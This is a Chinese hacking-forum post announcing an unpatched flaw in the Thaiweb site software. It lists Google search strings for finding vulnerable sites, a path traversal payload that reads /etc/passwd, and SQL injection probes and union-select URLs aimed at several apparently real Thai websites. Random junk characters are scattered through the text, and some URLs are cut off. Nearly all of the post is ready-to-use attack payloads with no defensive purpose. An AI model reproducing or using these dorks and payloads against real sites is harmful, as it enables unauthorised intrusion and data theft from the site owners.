找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:7 E" Y0 A# y$ }+ M  g4 L

4 q2 ~. m+ Z9 C: cintext:powered by Thaiweb
. i$ o: F$ O; E7 Z7 C2 c9 Y& T+ k7 ^; c, N( Q; w
inurl:index.php?page=board.php
0 t$ m# `/ |1 a* T9 K+ i3 L' J' U2 a/ E' G( ~
4 G0 Q+ u( r: w* R4 d

7 S9 V* ^7 m+ q利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd8 k& X/ Y( [# P

/ W) W( Z$ [. C$ @2 T4 F6 K/ E 3 f: }, K$ O7 J% a
! w4 X& F( x. ?+ g% [* a2 n6 g( _
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'0 G7 l9 @; h5 T

% }- W6 h. [  N. p" G7 w6 X
8 `# R6 n1 q0 M+ j5 p
5 N+ C! |8 a" V, k1 Q% X0 Dhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--* i4 M3 ^7 S" ^$ h% K, R) k
9 {8 W# z4 @. \& E
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
6 J$ d6 n  B# b3 s
. y* C5 Y2 Z9 a$ `8 g: y; g5 p) dhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--5 v# E+ I3 k  B9 g( h% d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表